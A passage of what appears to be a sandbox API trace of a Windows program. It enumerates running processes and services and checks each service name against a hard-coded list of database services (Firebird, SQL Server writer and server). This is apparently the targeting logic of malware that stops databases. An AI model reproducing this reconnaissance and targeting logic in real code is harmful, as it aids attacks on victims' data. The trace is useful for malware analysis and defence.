lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.946] lstrlenW (lpString="conhost.exe") returned 11 [0158.946] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0158.947] lstrlenW (lpString="TiWorker.exe") returned 12 [0158.947] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0158.947] lstrlenW (lpString="sppsvc.exe") returned 10 [0158.947] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0158.948] lstrlenW (lpString="powershell.exe") returned 14 [0158.948] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.948] lstrlenW (lpString="conhost.exe") returned 11 [0158.948] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0158.949] lstrlenW (lpString="taskhostw.exe") returned 13 [0158.949] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0158.949] lstrlenW (lpString="NS2.exe") returned 7 [0158.949] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.950] lstrlenW (lpString="conhost.exe") returned 11 [0158.950] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0158.950] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0158.950] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0158.951] lstrlenW (lpString="dllhost.exe") returned 11 [0158.951] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0158.951] lstrlenW (lpString="winhost.exe") returned 11 [0158.951] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0158.952] lstrlenW (lpString="cmd.exe") returned 7 [0158.952] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.952] lstrlenW (lpString="conhost.exe") returned 11 [0158.952] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0158.952] CloseHandle (hObject=0x39c) returned 1 [0158.953] Sleep (dwMilliseconds=0x1f4) [0159.982] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ef008 [0159.987] EnumServicesStatusExW (in: hSCManager=0x6ef008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0159.990] GetLastError () returned 0xea [0159.990] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d0998 [0159.991] EnumServicesStatusExW (in: hSCManager=0x6ef008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d0998, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d0998, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0159.994] CloseServiceHandle (hSCObject=0x6ef008) returned 1 [0159.997] lstrlenW (lpString="Appinfo") returned 7 [0159.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0159.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0159.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0159.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0159.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0159.997] lstrlenW (lpString="AppXSvc") returned 7 [0159.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0159.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0159.997] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0159.997] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0159.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0159.997] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0159.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.997] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0159.997] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0159.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0159.997] lstrlenW (lpString="Audiosrv") returned 8 [0159.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0159.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0159.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0159.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0159.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0159.998] lstrlenW (lpString="BFE") returned 3 [0159.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0159.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0159.998] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0159.998] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0159.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0159.998] lstrlenW (lpString="BITS") returned 4 [0159.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0159.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0159.998] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0159.998] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0159.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0159.998] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0159.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.998] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0159.998] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0159.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0159.998] lstrlenW (lpString="CDPSvc") returned 6 [0159.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0159.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0159.998] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0159.998] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0159.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0159.998] lstrlenW (lpString="ClipSVC") returned 7 [0159.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0159.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0159.998] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0159.998] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0159.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0159.998] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0159.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.998] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0159.998] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0159.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0159.998] lstrlenW (lpString="CryptSvc") returned 8 [0159.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0159.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0159.998] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0159.998] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0159.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0159.998] lstrlenW (lpString="DcomLaunch") returned 10 [0159.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.998] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0159.998] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0159.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0159.998] lstrlenW (lpString="Dhcp") returned 4 [0159.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0159.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0159.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0159.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0159.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0159.999] lstrlenW (lpString="Dnscache") returned 8 [0159.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0159.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0159.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0159.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0159.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0159.999] lstrlenW (lpString="DoSvc") returned 5 [0159.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0159.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0159.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0159.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0159.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0159.999] lstrlenW (lpString="DPS") returned 3 [0159.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0159.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0159.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0159.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0159.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0159.999] lstrlenW (lpString="DusmSvc") returned 7 [0159.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0159.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0159.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0159.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0159.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0159.999] lstrlenW (lpString="EventLog") returned 8 [0159.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0159.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0159.999] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0159.999] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0159.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0159.999] lstrlenW (lpString="EventSystem") returned 11 [0159.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0159.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0159.999] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0159.999] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0159.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0159.999] lstrlenW (lpString="gpsvc") returned 5 [0159.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0159.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0159.999] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0159.999] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0159.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0159.999] lstrlenW (lpString="iphlpsvc") returned 8 [0159.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.999] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0159.999] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0159.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0159.999] lstrlenW (lpString="KeyIso") returned 6 [0159.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0159.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0159.999] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0159.999] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0159.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0160.000] lstrlenW (lpString="LanmanServer") returned 12 [0160.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.000] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.000] lstrlenW (lpString="lfsvc") returned 5 [0160.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0160.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0160.000] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0160.000] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0160.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0160.000] lstrlenW (lpString="LicenseManager") returned 14 [0160.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0160.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0160.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0160.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0160.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0160.000] lstrlenW (lpString="lmhosts") returned 7 [0160.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.000] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.000] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.000] lstrlenW (lpString="LSM") returned 3 [0160.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0160.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0160.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0160.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0160.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0160.000] lstrlenW (lpString="MpsSvc") returned 6 [0160.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.000] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.000] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.000] lstrlenW (lpString="NcbService") returned 10 [0160.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0160.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0160.000] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0160.000] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0160.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0160.000] lstrlenW (lpString="netprofm") returned 8 [0160.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.000] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.000] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.001] lstrlenW (lpString="NlaSvc") returned 6 [0160.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.001] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.001] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.001] lstrlenW (lpString="nsi") returned 3 [0160.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.001] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.001] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.001] lstrlenW (lpString="PcaSvc") returned 6 [0160.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.001] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.001] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.001] lstrlenW (lpString="PlugPlay") returned 8 [0160.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.001] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.001] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.001] lstrlenW (lpString="Power") returned 5 [0160.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.001] lstrlenW (lpString="ProfSvc") returned 7 [0160.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.001] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.001] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.001] lstrlenW (lpString="RpcEptMapper") returned 12 [0160.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.001] lstrlenW (lpString="RpcSs") returned 5 [0160.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.001] lstrlenW (lpString="SamSs") returned 5 [0160.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.002] lstrlenW (lpString="Schedule") returned 8 [0160.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.002] lstrlenW (lpString="SecurityHealthService") returned 21 [0160.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0160.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0160.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0160.002] lstrlenW (lpString="SENS") returned 4 [0160.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.002] 